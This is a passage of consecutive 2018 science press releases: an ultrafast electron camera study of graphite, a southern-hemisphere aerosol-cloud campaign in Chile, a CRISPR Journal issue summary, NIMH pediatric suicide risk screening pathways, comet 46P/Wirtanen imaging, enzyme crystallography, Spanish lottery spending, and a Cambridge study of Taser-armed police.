Nobel Prize winner Enrico Fermi. In this model, the electrons in the material are considered to be a gaseous system. In this way, it is possible to describe their interactions with each other. In order to follow the behaviour of electrons on the basis of this description in real time, the Kiel research team developed an experiment for investigations with extreme temporal resolution: if a material sample is irradiated with an ultrafast pulse of light, the electrons are stimulated for a short period. A second, delayed light pulse releases some of these electrons from the solid. A detailed analysis of these allows conclusions to be drawn regarding the electronic properties of the material after the first stimulation with light. A special camera films how the light energy introduced is distributed through the electron system. Developed in Kiel:one of the world's fastest systems The special feature of the Kiel system is its extremely high temporal resolution of 13 femtoseconds. This makes it one of the fastest electron cameras in the world. "Thanks to the extremely short duration of the light pulses used, we are able to film ultrafast processes live. Our investigations have shown that there is a surprising amount of stuff happening here," explained Michael Bauer, professor of ultrafast dynamics at the CAU. He developed the system, together with the working group of Kai Ronagel, professor of solid state research with synchrotron radiation. In their current experiment, the research team irradiated a graphite sample with a short, intense light pulse of only seven femtoseconds duration. Graphite is characterised by a simple electronic structure. Thus, fundamental processes can be observed particularly clearly. In the experiment, the impacting light particles - also called photons - disturbed the thermal equilibrium of the electrons. This equilibrium describes a condition in which a precisely-definable temperature prevails amongst the electrons. The Kiel research team then filmed the behaviour of the electrons, until a balance was restored after about 50 femtoseconds. Numerous interactions within an extremely short period In doing so, the scientists observed numerous interaction processes of excited electrons with the impacting photons, as well as atoms and other electrons in the material. On the basis of the film footage, they could even distinguish different phases within this ultrashort period: first of all, the irradiated electrons absorbed the light energy of the photons in the graphite, and thereby transformed it into electrical energy. Then the energy was distributed to other electrons, before they passed it on to the surrounding atoms. In this last process, the electrical energy is ultimately permanently converted into heat; the graphite warms up. The experiments of the Kiel research team also confirm theoretical predictions for the first time. They enable a new perspective on a research topic which has hardly been investigated on this short time scale. "Through our new technical possibilities, these fundamental, complex processes can be observed directly for the first time," said Bauer. This approach could also be applied in the future to investigate and optimise ultrafast motions of light-agitated electrons in materials with promising optical properties. ### The study was funded by the German Research Foundation (DFG).It was highlighted by the publishers of the journal in Physics, the American Physical Society's highlight journal. Original publication: Ultrafast Formation of a Fermi-Dirac Distributed Electron Gas, G. Rohde, A. Stange, A. Muller, M. Behrendt, L.-P. Oloff, K. Hanff, T.?J. Albert, P. Hein, K. Rossnagel, and M. Bauer, Phys. Rev. Lett. 121, 256401 (2018), Published December 19, 2018. DOI: 10.1103/PhysRevLett.121.256401 https://doi.org/10.1103/PhysRevLett.121.256401 Photos are available to download: https://www.uni-kiel.de/de/pressemitteilungen/2018/432-Kamera-1.jpg Caption: With the ultrafast system in the Physics Centre at the CAU, the behaviour of electrons can be filmed live. Jurgen Haacks, CAU https://www.uni-kiel.de/de/pressemitteilungen/2018/432-Kamera-2.jpg Caption: With its ultrafast light rays, the Kiel system is one of the fastest and most powerful in the world. Jurgen Haacks, CAU https://www.uni-kiel.de/de/pressemitteilungen/2018/432-Kamera-3.jpg Caption: Gerald Rohde, doctoral researcher in experimental physics and first author of the study, co-developed and built the system. Julia Siekmann, CAU https://www.uni-kiel.de/de/pressemitteilungen/2018/432-Kamera-4.png Caption: Film recordings show for the first time how the energy distribution in a graphite sample changes in the ultrashort period of 50 femtoseconds. Phys. Rev. Lett Contact: Prof. Dr sc. nat. Michael Bauer Institute of Experimental and Applied Physics Ultrafast Dynamics Group Tel.: +49 431 880-5098 Fax: +49 431 880-4884 E-mail: bauer@physik.uni-kiel.de Website: http://www.physik.uni-kiel.de/de/institute/ag-bauer Julia Siekmann Science communication Priority research area Kiel Nano, Surface and Interface Science (KiNSIS) Kiel University Tel.: +49 (0)431 880 4855 E-mail: jsiekmann@uv.uni-kiel.de Website: http://www.kinsis.uni-kiel.de Details, which are only a millionth of a millimetre in size: this is what the priority research area "Kiel Nano, Surface and Interface Science - KiNSIS" at Kiel University has been working on. In the nano-cosmos, different laws prevail than in the macroscopic world - those of quantum physics. Through intensive, interdisciplinary cooperation between physics, chemistry, engineering and life sciences, the priority research area aims to understand the systems in this dimension and to implement the findings in an application-oriented manner. Molecular machines, innovative sensors, bionic materials, quantum computers, advanced therapies and much more could be the result. More information at http://www.kinsis.uni-kiel.de Kiel University (CAU) Press, Communication and Marketing, Dr Boris Pawlowski, Text/editing: Julia Siekmann Postal address: D-24098 Kiel, Germany, Telephone: +49 (0)431 880-2104, Fax: +49 (0)431 880-1355 E-mail: presse@uv.uni-kiel.de, Internet: http://www.uni-kiel.de Twitter: http://www.twitter.com/kieluni Facebook: http://www.facebook.com/kieluni Instagram: instagram.com/kieluni Leipzig/Punta Arenas. How do airborne particles, so-called aerosols, affect the formation and life cycle of clouds and precipitation? In order to come one step closer to solving this question, atmospheric scientists from the Leibniz Institute for Tropospheric Research (TROPOS) and the Leipzig Institute for Meteorology (LIM) at Leipzig University will observe the atmosphere at one of the cleanest places in the world for at least a year. For the DACAPO-PESO project, they transported two containers with extensive measurement technology from Leipzig to Punta Arenas on the Strait of Magellan in southern Chile. There, the two institutes cooperate with the Laboratory of Atmospheric Physics at Magellan University (UMAG), which, in addition to providing the infrastructure for the Leipzig instruments, also contributes its own measurements to the project. The choice fell on Punta Arenas because the city is located on a comparable geographical latitude as Germany and will thus enable comparisons between the northern and southern hemispheres. The measurement campaign is part of the International Year of Polar Prediction (YOPP), which aims to improve weather and climate forecasts for the polar regions through intensive measurements. "The experiment will allow us to explain more precisely the observed regional differences in the efficiency of ice formation in clouds and to describe the role of aerosols in more detail," says Dr. Patric Seifert, scientist at TROPOS and initiator of DACAPO-PESO. "The synergies of the versatile remote sensing instruments and the development of new evaluation algorithms based on them will provide more precise insights into the clouds. One objective will be, to clarify whether the ice crystals in the virtually aerosol-free atmosphere of Punta Arenas grow more frequently through riming in liquid water layers than through aggregation as compared to the northern hemisphere," explains Junior Prof. Heike Kalesse from Leipzig University. The measuring station in Punta Arenas was set up in November and December 2018 by three scientists from TROPOS and UMAG. Patric Seifert returned to Leipzig shortly before Christmas and is satisfied with the progress made so far: "All instruments are working reliably and the first interesting observations have already been made. Pure liquid water clouds were observed at temperatures of around -20C, which is extremely rare during comparable measurements in Germany. This could be an indication for few ice germs in the southern hemisphere." The formation of clouds and precipitation essentially depends on three parameters: Humidity, temperature, as well as the availability and type of aerosol particles that serve as nuclei for cloud drops and ice crystals. Even though it is widely accepted that water vapour and temperature dominate cloud processes, scientists still debate about the actual influence of aerosol particles on the weather. It is known that every cloud droplet and every ice crystal that forms at temperatures higher than -40C requires the availability of a drop or ice nuclei. In Germany and other regions in the mid-latitudes of the northern hemisphere, most precipitation (in the free troposphere) occurs between two and twelve kilometres above the ground. These air layers are characterised by aerosol particles from man-made air pollution, desert dust and forest fires. In the mid-latitudes of the southern hemisphere, these particles are largely absent because there are more oceans and much less industry, deserts and forests. If the amount of aerosol particles available in the atmosphere changes, the amount of cloud droplets and ice crystals formed also changes. It can thus be explained that liquid water clouds over regions of Europe or Southeast Asia that are heavily contaminated with aerosols consist of considerably more droplets. In contrast, liquid water clouds in less polluted regions such as over the oceans or polar regions consist of fewer and often larger droplets. A similar influence of aerosol particles on the formation of ice crystals has already been observed by TROPOS scientists in clouds above Leipzig: Clouds formed under the influence of Sahara dust form ice more frequently and at higher temperatures than clouds formed in clean air. The life cycle of a cloud thus takes a different course because the formation of the tiny ice crystals and cloud droplets are the beginning of numerous processes that accompany the development of the cloud and ultimately lead to the formation of precipitation. The knowledge about the connections between aerosol particles and clouds comes mainly from measurements in the more polluted northern hemisphere. However, relatively little is known in detail about how these processes take place under the much cleaner conditions of the southern hemisphere. Therefore, the idea for the field experiment DACAPO-PESO (Dynamics, Aerosol, Cloud and Precipitation Observations in the Pristine Environment of the Southern Ocean) was born at TROPOS, which should provide a reference data set in the Southern midlatitudes. In order to be able to compare the situation in the northern hemisphere with that in the southern hemisphere, the choice was therefore made for a location that lies approximately at the same latitude as Germany and therefore has similar temperature and climate conditions. With the exception of South America, the southern hemisphere is covered by oceans in these latitudes and long-term measurements at sea are not practicable to this extent. Therefore, the choice fell on Chile, where the researchers from Leipzig (52N) found a cooperation partner with Magellan University in Punta Arenas (53S). South America is currently in the focus of international atmospheric research: Almost 3000 km to the north, a large-scale measurement campaign by various universities and institutions from the USA is currently undergoing in Argentina and southern Brazil: RELAMPAGO-CATI investigates the formation of thunderstorms to improve the prediction of hail and tornadoes. In recent years, the available techniques for the continuous observation of aerosols and clouds have progressed extremely. Lidar and radar equipment such as the Leipzig Aerosol and Cloud Remote Observations System (LACROS) can be used to record the structure of cloud and aerosol layers as well as precipitation from the ground with high resolutions in the range of seconds and meters. In the DACAPO-PESO measurement campaign, a total of three lidar systems are used to record aerosol properties. In addition, three differently configured Doppler radar systems observe the structure of clouds and precipitation. The radars and a so-called Doppler lidar also provide information on the vertical movement of the air, which is so important for cloud formation. These vertical movements lead to cooling. This increases the relative humidity in the air and cloud formation can occur. Rain sensors record the size and type of precipitation arriving on the ground, a microwave radiometer determines the amount of water vapour and liquid water present in the atmosphere, and radiation measuring instruments document the influence of aerosols and clouds on the energy arriving on the Earth's surface. Most of the instruments are part of the LACROS station of the TROPOS, which is during DACAPO-PESO extended by a new Doppler radar of LIM and a lidar of the UMAG. All measurements together provide a detailed picture of the weather in the clean atmosphere over Punta Arenas. The long time series of measurements of at least one year will provide a comprehensive data set. This will serve the scientists as a reference for the comparison with the weather conditions in the highly aerosol-burden temperate latitudes of the northern hemisphere. The evaluation is partly carried out within the framework of the European infrastructure projects ACTRIS, Cloudnet and EARLINET as well as in cooperation with the Consortium of the Year of Polar Prediction (YOPP), the Priority Programme SPP2115 "PROM" of the German Research Foundation (DFG) and a project of the European Social Fund (ESF) led by LIM. Since TROPOS was founded in the 1990s, researchers at the institute have been working on the question of how aerosols and clouds interact. They discovered, for example, that ice forms in clouds in the northern hemisphere at much higher temperatures than in clouds in the southern hemisphere. This was the result of lidar-assisted investigations at TROPOS, UMAG in Chile, Stellenbosch University in South Africa and during transatlantic cross-sections of the research vessel Polarstern, which were already collected in 2008-2010. In Central Europe, around 70 percent of clouds already form ice at temperatures around -18 degrees Celsius. In southern Chile and South Africa, on the other hand, only 20 and 35 percent respectively form ice at the same temperature. The reason for such a contrast is most probably the larger number and greater diversity of aerosol particles floating in the air in the northern hemisphere. The two project coordinators Seifert and Kalesse are confident that DACAPO-PESO will significantly increase the level of knowledge on the interaction between aerosols, clouds, and precipitation, especially due to the good personnel support. Thanks to approved projects of the DFG, the ESF and own funds of TROPOS and UMAG, the DACAPO-PESO team already comprises 4 experienced researchers and 4 PhD students. The data set will provide an unprecedented wealth of information on aerosols and clouds in the mid-latitudes of South America. ### Publication: Foth, A., Kanitz, T., Engelmann, R., Baars, H., Radenz, M., Seifert, P., Barja, B., Kalesse, H., and Ansmann, A.: Vertical aerosol distribution in the Southern hemispheric Midlatitudes as observed with lidar at Punta Arenas, Chile (53.2?S and 70.9?W) during ALPACA, Atmos. Chem. Phys. Discuss., https://doi.org/10.5194/acp-2018-1124 , in review, 2018. The study was funded by the BMBF (HD(CP)2 ; FKZ: 01LK1504C and 01LK1502N), the European Union (ACTRIS grant no. 262254; EUCAARI grant no. 036 833-2), the Leibniz Association (OCEANET) and the Deutsche Forschungsgemeinschaft (PROM, DFG-KA 4162/2-1). Contacts: Dr Patric Seifert Working group for ground based remote sensing at the Leibniz Institute for Tropospheric Research (TROPOS) Tel. +49-341-2717-7080 https://www.tropos.de/en/institute/about-us/employees/patric-seifert/ and Junior Prof Heike Kalesse Working group "Remote Sensing and the Arctic System" at the Leipzig Institute for Meteorology (LIM) of the Leipzig University Tel.: +49-341-97-36650 https://home.uni-leipzig.de/kalesse/index.php?lang=en&content= or Tilo Arnhold Public Relations, TROPOS Tel. +49-341-2717-7189 https://www.tropos.de/en/current-issues/press-releases/ and Susann Huster Media Editorial Office, Leipzig University Tel. +49-341-97-35022 https://www.uni-leipzig.de/universitaet/struktur/verwaltung-und-stabsstellen/stabsstelle-universitaetskommunikation/ Links: Homepage of DACAPO-PESO: https://dacapo.tropos.de with Blog: https://dacapo.tropos.de/index.php/blog Overview of the measurements in Punta Arenas: http://lacros.rsd.tropos.de/cloudnet/cloudnet.php http://lacros.rsd.tropos.de/cloudnet/punta-arenas_ql.php http://polly.rsd.tropos.de/?p=bilder&lidar_id=244&lambda=3&Jahr=2018&Monat=12&Tag=06&Ort=24#bildanker European research infrastructures ACTRIS and Cloudnet https://www.actris.eu/ http://cloudnet.fmi.fi DFG Priority Programme SPP2115 - PROM https://www2.meteo.uni-bonn.de/spp2115/doku.php Overview of the European Social Fund (ESF) project: http://www.strukturfonds.sachsen.de/europaeischer-sozialfonds-esf.html Year of Polar Prediction (YOPP): https://www.polarprediction.net/ RELAMPAGO-CATI (Remote sensing of Electrification, Lightning, And Mesoscale/microscale Processes with Adaptive Ground Observations - Clouds, Aerosols, and Complex Terrain Interactions): https://sites.google.com/illinois.edu/relampago/home The CRISPR Journal a new peer-reviewed journal from Mary Ann Liebert, Inc., publishers, announces the publication of its December issue. The Journal is dedicated to validating and publishing outstanding research and commentary on all aspects of CRISPR and gene editing, including CRISPR biology, technology and genome editing, and commentary and debate of key policy, regulatory, and ethical issues affecting the field. The Journal, led by Editor-in-Chief Rodolphe Barrangou, PhD (North Carolina State University) and Executive Editor Dr. Kevin Davies, is published bimonthly online and in print. See http://www.crisprjournal.com for more information. This press release is copyright Mary Ann Liebert, Inc. Its use is granted only for journalists and news media receiving it directly from The CRISPR Journal. For full-text copies of articles or to arrange interviews with Dr. Barrangou, Dr. Davies, authors, or members of the editorial board, contact Kathryn Ryan 1. #CRISPRbabies: Notes on a Scandal (First Cut) "Like almost everyone, I was stunned by the birth announcement of genetically-modified twins, Lulu and Nana..." So begins a First Cut by Sean Ryder in the December issue of The CRISPR Journal. One of the most important observations in the wave of criticisms that greeted last month's announcement by Chinese researcher He Jiankui of the birth of twins following germline editing centered on the nature of the gene edits themselves. Ryder took to Twitter to highlight the specific gene variants carried by the twins (Lulu and Nana), none of which faithfully replicate the natural variation (the deletion of a 32-base stretch of the gene) reported in the human population. The consequences of these variants have never been modeled in other systems. In this article, Ryder discusses the ramifications of the reported gene edits and his hopes for the future health of the twins at the center of the saga. Contact: Sean Ryder (UMass Medical School) 2. CRISPR Crossroads for Genome Editing (Editorial) In the December editorial, Editor-in-Chief Rodolphe Barrangou weighs in on the uproar in Hong Kong following the announcement of twin births by editing human embryos. "The transgressions of a cavalier young scientist have negatively impacted an entire research ?eld. Now is the time to pause and reassess." Barrangou believes the road ahead will require "the involvement of both scientists and nonscientists, including regulators and patients," and action must take place soon. "The ?eld is going too fast and we cannot afford to wait for more misguided experiments to occur while we catch our ethical breath." Contact: Rodolphe Barrangou (CRISPR Journal/NCSU) 3. Selective maintenance of CRISPR arrays across prokaryotes Bacteria and other prokaryotes have evolved immune systems including CRISPR to provide defense against constant viral attacks. But why do so many single-celled organisms carry multiple copies of the same type of immune system? Using a comparative genomics approach looking across all prokaryotes, Philip Johnson and colleagues (University of Maryland) find that, on average, organisms are under selective pressure to maintain more than one CRISPR array. Possible reasons include benefits of improved immunity through redundancy and/or increased specialization against specific threats. The authors also suggest a tradeoff between memory span and learning speed could select for both "long-term memory" and "short-term memory" CRISPR arrays. Contact: Philip Johnson (University of Maryland, College Park MD) 4. Enhancing Homology-Directed Repair (HDR) in Mammalian Cells CRISPR-Cas gene editing results in two types of DNA repair: non-homologous end-joining (NHEJ) or homology-directed repair (HDR). The former results in various insertions or deletions at the target site, and thus is good for gene inactivation; the latter uses a donor template to engineer a more precise repair, but rates can be very low (<1%). Using an engineered Cas9 and an innovative delivery method, a team at McGill University reports an impressive increase in the rate of HDR, with percentages improved up to 90%. These results suggest that donor DNA biotinylation and Cas9-donor conjugation in addition to delivery technique, significantly influence HDR efficiency. Contact: Philip Roche or Uri David Akavia (McGill University) 5. Expanding the CRISPR toolkit for mouse genome editing Researchers' ability to use CRISPR-Cas to engineer specific gene edits in mouse embryos is limited by the strict sequence requirements of the proto-spacer adjacent motif (PAM) at the target site. In an effort to expand the PAM repertoire for mouse genome editing, the authors tested Cas9 variants from less common sources that target alternative PAM sequences. These alternative nucleases not only recognize a broader range of PAM sites but frequently generated heterozygous alleles in which one copy of the target gene is unmodified. Contact: Paul Thomas (University of Adelaide, Australia) 6. Safe harbor targeted CRISPR-Cas9 tools for molecular-genetic imaging of cells Noninvasive molecular-genetic imaging of reporter gene expression is an invaluable approach for monitoring cells in vivo. However, reporter genes are often randomly inserted in the cellular genome, which can cause unwanted downstream effects. To overcome this, John Ronald and colleagues at the Robarts Research Institute in Ontario, Canada, developed a CRISPR-Cas9 tool to specifically edit cells at the AAVS1 safe harbor site to co-express a selection marker and a reporter gene. They used this system to noninvasively track the viability of these genome edited cells over time with molecular-genetic imaging. With further development, the authors suggest, "this CRISPR-Cas9 reporter gene system could be broadly applied to a number of in vivo cell tracking studies." Contact: John Ronald (Robarts Research Institute, Ontario, Canada) 7. Special Delivery: How CRISPR-Cas Gains Cellular Entry (Review Article) For all the recent progress in somatic genome editing and expanding the CRISPR toolbox, a major challenge for the use of CRISPR as a therapeutic tool is the question of delivery. Researchers are exploring a variety of ways to target and deliver the CRISPR-Cas9 machinery to specific organs, whether by using a virus, a ribonucleoprotein, or some other type of nanoparticle. In this review article, investigators from the University of California and the Garvan Institute in Australia assess the latest advances in engineering Cas9 and developing therapeutic strategies to improve the prospects of therapeutic CRISPR delivery. Contact: Romain Rouet (Garvan Institute Medical Research, Australia); Niren Murthy (Dept Bioengineering, UC Berkeley); Ross Wilson (Innovative Genomics Institute, UC Berkeley) ### Other Articles in the December 2018 Issue: First Cut: He said what now? Kevin Davies (The CRISPR Journal) Review article: Applications of CRISPR-Cas in Bioengineering, Biotechnology, and Translational Research Cia-Hin Lau (City University of Hong Kong) The Phage Whisperer: An Interview with Sylvain Moineau Kevin Davies & Sylvain Moineau (Universite Laval, Quebec, Canada) A new report, authored in part by researchers at the National Institute of Mental Health (NIMH), part of the National Institutes of Health, provides guidance on how to implement universal suicide risk screening of youth in medical settings. The report describes a way for hospitals to address the rising suicide rate in a way that is flexible and mindful of limited resources. In 2016 alone, more than 6,000 youth in the United States under the age of 25 died by suicide, according to the Centers for Disease Control and Prevention. Studies have found that a majority of youth who died by suicide visited a health care provider or medical setting in the month prior to killing themselves. The interactions of these youth with the health care system make medical settings an ideal place for positioning suicide intervention efforts. "Suicide is a major public health concern and early detection is a critical prevention strategy," said NIMH Director Joshua A. Gordon, M.D., Ph.D. "Part of NIMH's suicide prevention research portfolio focuses primarily on testing and implementing effective strategies for identifying individuals at risk of suicide. Results from these research efforts are poised to make a real difference and help save lives." In 2007, The Joint Commission (TJC) released a National Patient Safety Goal requiring that all behavioral health patients who present to psychiatric and general hospitals be screened for suicide risk. However, upon examining their data, they discovered that over a quarter of hospital suicides occur on non-behavioral health units, and at-risk patients were passing through emergency departments, inpatient medical units, and outpatient clinics undetected. This realization led TJC, in 2016, to recommend that all patients presenting to medical settings be screened for suicide risk. While good practice, universal screening can present a strain on the resources of hospitals and other health care facilities. The report, published in Psychosomatics, presents a new 3-tiered clinical pathway system as a flexible and resource-conscious way to implement universal suicide risk screening within pediatric health care settings. The system was created by an international subcommittee of the Pathways in Clinical Care workgroup from within the Physically Ill Child committee of the American Academy of Child and Adolescent Psychiatry. The clinical pathway model consists of three main components, the first of which is an initial screen of all youth using the NIMH IRP-created Ask Suicide-Screening Questions (ASQ) tool. The ASQ is the first screening tool developed specifically to detect suicide risk in pediatric medical patients, is available in 14 languages, and takes about 20 seconds to administer. The second tier of screening is the most critical step and calls for a brief suicide safety assessment (BSSA), which takes about 10-15 minutes to administer. This measure is used to classify a person's risk of suicide (low risk, high risk, or imminent risk) based on survey responses and clinical judgment, guiding the clinician's decision for next steps. The third tier of screening, if deemed necessary during the BSSA, involves a full comprehensive safety evaluation by a licensed mental health provider. The goal of this assessment is to address safety issues and establish an intervention plan. Decisions about patient care are made at each of the three assessment stages and are dependent on clinical insight in combination with responses to the surveys. "Clinicians from across North America came together to address this youth crisis in a feasible, consistent and flexible way that can be adapted to each system where suicidal youth present," said Maryland Pao, M.D., clinical director of the NIMH Intramural Research Program and an author on the paper. The clinical pathway model presented in this report is accompanied by a variety of resources to help health care settings implement the outlined model (e.g. the ASQ Toolkit). It is hoped that the clinical pathways model described in this report can be used in health care settings to implement universal screening for youth in an effective manner--a manner that will help identify youth at risk for suicide and save lives. According to Lisa Horowitz, Ph.D., M.P.H., a clinical scientist in the NIMH Intramural Research Program and an author on the paper, "these pathways make it possible for health care systems to implement suicide risk screening for all patients, in a practical way. This is how researchers and clinicians can partner together to heed the call to action to lower the suicide rate and save young lives." ### Reference: Brahmbhatt, K., Kurtz, B. P., Afzal, K. I., Giles, L. L., Kowal, E. D., Johnson, K. P., Lanzillo, E., PaCC Workgroup, Pao, M., Plioplys, S., & Horowitz, L. M. (in press). Suicide risk screening in pediatric hospitals: Clinical pathways to address a global health crisis. Psychosomatics. About the National Institute of Mental Health (NIMH): The mission of the NIMH is to transform the understanding and treatment of mental illnesses through basic and clinical research, paving the way for prevention, recovery, and cure. For more information, visit the NIMH website. About the National Institutes of Health (NIH): NIH, the nation's medical research agency, includes 27 Institutes and Centers and is a component of the U.S. Department of Health and Human Services. NIH is the primary federal agency conducting and supporting basic, clinical, and translational medical research, and is investigating the causes, treatments, and cures for both common and rare diseases. For more information about NIH and its programs, visit the NIH website. NIH...Turning Discovery Into Health As the brilliant comet 46P/Wirtanen streaked across the sky, NASA telescopes caught it on camera from multiple angles. NASA's Hubble Space Telescope photographed comet 46P/Wirtanen on Dec. 13, when the comet was 7.4 million miles (12 million kilometers) from Earth. In this visible light image, the comet's nucleus is hidden in the center of a fuzzy glow from the comet's coma. The coma is a cloud of gas and dust that the comet has ejected during its pass through the inner solar system due to heating from the Sun. To make this composite image, the color blue was applied to high-resolution grayscale exposures acquired from the spacecraft's WFC3 instrument. The inner part of a comet's coma is normally not accessible from Earth. The close fly-by of comet 46P/Wirtanen allowed astronomers to study it in detail. They combined the unique capabilities of Hubble, NASA's Chandra X-ray Observatory, and the Neil Gehrels Swift Observatory to study how gases are released from the nucleus, what the comet's ices are composed of, and how gas in the coma is chemically altered by sunlight and solar radiation. NASA's Stratospheric Observatory for Infrared Astronomy, SOFIA, took this image of the comet on Dec. 16 and 17 when the aircraft was flying at 40,000 feet. Comets and asteroids may be the source of Earth's water. SOFIA is studying the chemical fingerprints of different types of hydrogen in the comet's water, which will help us learn about the origins and history of water in the solar system -- including Earth's oceans. The SOFIA image was taken with the telescope's visible light guide camera, using an orange filter to indicate the intensity of light relative to other objects. SOFIA's observations using infrared light to study the comet's water are now under analysis. Comet 46P/Wirtanen made its closest approach to Earth on Dec. 16, when it passed just over 7 million miles (11 million kilometers) from our planet, about 30 times farther away than the Moon. Although its close approach is valuable for making science observations from Earth, and it is the brightest comet of 2018, 46P/Wirtanen is only barely visible to the unaided eye even where the sky is very dark. It is best viewed through binoculars or a telescope. Backyard observers can currently find the comet near the constellation Taurus though with the challenge of added light from the Moon, but it will continue to be viewable in the weeks to come. Finder charts and other information are available at the Comet Wirtanen Observing Campaign website. Comet 46P/Wirtanen orbits the Sun once every 5.4 years, much quicker than the 75-year orbit of the more famous Comet Halley. Most of its passes through the inner solar system are much farther from Earth, making this year's display particularly notable. The Hubble Space Telescope is a project of international cooperation between NASA and ESA (European Space Agency). NASA's Goddard Space Flight Center in Greenbelt, Maryland, manages the telescope. The Space Telescope Science Institute (STScI) in Baltimore, Maryland, conducts Hubble science operations. STScI is operated for NASA by the Association of Universities for Research in Astronomy, in Washington, D.C. SOFIA is a Boeing 747SP jetliner modified to carry a 106-inch diameter telescope. It is a joint project of NASA and the German Aerospace Center, DLR. NASA's Ames Research Center in California's Silicon Valley manages the SOFIA program, science and mission operations in cooperation with the Universities Space Research Association headquartered in Columbia, Maryland, and the German SOFIA Institute (DSI) at the University of Stuttgart. The aircraft is maintained and operated from NASA's Armstrong Flight Research Center Hangar 703, in Palmdale, California. ### Osaka - Enzymes--biocatalysts made of proteins--are hugely important molecules that catalyze the reactions and processes in living organisms. Ongoing work to understand their structures and reaction mechanisms is therefore vital to broaden our knowledge and contribute to scientific and medical advances. X-ray crystallography--in which protein crystals are exposed to an x-ray beam, resulting in specific diffraction patterns that can be analyzed--is the most widely-used technique for protein structural determination. Data collection in x-ray crystallography usually employs placing crystals under a cryogenic gas stream at 100 K; however, the cryogenic conditions do not generally allow for thermodynamic analysis of the conformational changes in the protein crystals. Now, researchers from Osaka University, Osaka Medical College, Japan Synchrotron Radiation Research Institute (JASRI), and RIKEN have reported the details of structural changes during the catalytic reaction of a copper amine oxidase using a non-cryogenic technique. Their findings were published in PNAS. The study used a "humid air and glue-coating (HAG)" method developed by JASRI at the synchrotron facility SPring-8. Instead of cryogenic cooling, the unfrozen protein crystals were coated with a water-soluble polymer and placed under a stream of humid nitrogen gas with precisely-controlled temperature. This allowed the nearly bare crystal to remain stable enough for the team to assess the equilibrium between the structurally distinct conformations of the redox cofactor (an essential component of the catalytic reaction) at a particular temperature. "As a result of the precise temperature control we were able to achieve, we demonstrated the first successful in crystallo thermodynamic analysis of the working enzyme," says study corresponding author Toshihide Okajima. "Thermodynamic analyses based on crystal measurements give a closer representation of the structural changes than data acquired from solution studies, and are therefore more valuable to our understanding." In addition, the obtained thermodynamic parameters showed a behavior that was similar to that in cytosol within cells. It is therefore thought that the HAG conditions can provide a useful model for physiological conditions. Various other crystallographic techniques have been reported for use at ambient temperature; however, they require specialized X-ray free lasers. "By using the temperature-controlled HAG method, we have demonstrated that it is possible to acquire conformational information using a standard x-ray beam," Okajima explains. "We hope that the accessibility of the technique and its possibilities for providing thermodynamic information will make it an important addition to current crystallographic approaches." ### The article, "In crystallo thermodynamic analysis of conformational change of the topaquinone cofactor in bacterial copper amine oxidase" was published in PNAS at DOI: https://doi.org/10.1073/pnas.1811837116 . About Osaka University Osaka University was founded in 1931 as one of the seven imperial universities of Japan and now has expanded to one of Japan's leading comprehensive universities. The University has now embarked on open research revolution from a position as Japan's most innovative university and among the most innovative institutions in the world according to Reuters 2015 Top 100 Innovative Universities and the Nature Index Innovation 2017. The university's ability to innovate from the stage of fundamental research through the creation of useful technology with economic impact stems from its broad disciplinary spectrum. Website: https://resou.osaka-u.ac.jp/en/top 70.2 percent of residents in Spain buy Christmas Lottery tickets, which is equivalent to more than 24 million people, with an average expenditure of 59.26 euro per inhabitant. After Madrid, the autonomous communities that spend the most on it are Andalusia (with almost 380 million euro), Catalonia (around 360 million euro) and Valencia (over 320 million euro). Furthermore, the provinces that come behind the capital in terms of spending on the Christmas Lottery are Barcelona (258 million euro), Valencia (168 million euro) and Alicante (118 million euro). On the other hand, the autonomous community in which the most prizes are given out is Castilla y Leon, with approximately 790 million euro paid out, followed by Catalonia (223 million euro), the Balearic Islands (115 million euro) and Castilla la Mancha (110 million euro). In Madrid in 2017, less than 30 million euro in prizes was given out. Reasons for playing The study found that lottery tickets are bought at Christmas out of habit (almost 90 percent), because of social pressure and because of a kind of preventive envy ("it is not going to be my acquaintances that win", says the report), and only 35 percent for recreational reasons. The only social sectors not affected by the social pull of this lottery are those under 25 (only one in four young people enter the Christmas Lottery) and those who declare themselves non-players (of which just over 10 percent remember having bought tickets), according to the findings in the report. "The most striking aspect of these figures is that, in the last four years in which these questions (regarding reasons for playing) have been included in the aforementioned study, the answers are almost exactly the same, which indicates stable behaviours. Something like a ritual that is repeated year after year," says the technical director of the Yearbook research team, Jose Antonio Gomez Yanez, lecturer in Sociology and member of the University Institute of Politics and Governance at UC3M. The Special Christmas Lottery accounts for more than half of the annual sales of National Lottery tickets and moves between 2,400 and 3,000 million euro each year. It is the largest lottery in the world and in Spain its social impact, according to number of consumers, is equivalent to the participation of the population in general elections, according to the Yearbook, which describes how the lottery operates, its figures and socio-economic data. Society participates in this lottery through individual purchases, tickets split among family and friends, as well as the sale of large volumes of tickets by associations and clubs that use it as a means of fundraising. It is also worth noting that the percentage of Christmas Lottery ticket buyers who use the Internet has been growing consistently since 2013: from 0.7 percent in that year to 5.6 percent during Christmas 2017. ### Related news: UC3M and CODERE present the 2018 Yearbook of Gambling in Spain Video: https://www.youtube.com/watch?v=68g2bsB4F80 A new study has found that London police officers visibly armed with electroshock 'Taser' weapons were more likely to be assaulted, and used force 48% more often, than those on unarmed shifts. However, while use of force can include everything from restraint and handcuffing to CS spray, the Tasers themselves were only fired twice during the year-long study period. Criminologists from the University of Cambridge say the findings suggest that Tasers can trigger the 'weapons effect': a psychological phenomenon in which sight of a weapon increases aggressive behaviour. While the 'weapons effect' has been repeatedly demonstrated in simulated conditions over the last forty years, this is one of the largest studies to show it "in the field" and the first to reveal the effect in law enforcement. The Cambridge researchers say their findings, published today in the journal Criminal Justice and Behaviour, may well apply to policing situations in which other forms of weaponry - including the lethal variety - are involved. "We found that officers are more likely to be assaulted when carrying electroshock weaponry, and more likely to apply force," said lead researcher Dr Barak Ariel from Cambridge's Institute of Criminology. "It is well established that the visual cue of a weapon can stimulate aggression. While our research does not pierce the 'black box' of decision-making, the only difference between our two study conditions was the presence of a Taser device." "There was no increase in injury of suspects or complaints, suggesting it was not the police instigating hostilities. The presence of Tasers appears to provoke a pattern where suspects become more aggressive toward officers, who in turn respond more forcefully," he said. The City of London force is responsible for policing the 'Square Mile' business district in the centre of London. It also holds national responsibility for Economic Crime and prioritises counter-terrorism, violent crime and public order due to its central location. The force was the first in England and Wales to test "extended deployment" of Tasers - described as "conducted energy devices" in UK policing - to frontline officers. During the rollout, police chiefs allowed Ariel and colleagues to conduct a major experiment. Between June 2016 and June 2017 the researchers randomly allocated 400 frontline shifts a Taser-carrying officer and compared the results to an equal number of unarmed shifts over the same period. A total of 5,981 incidents occurred during the study. Use of force by police carrying Tasers was 48% higher than the officers on 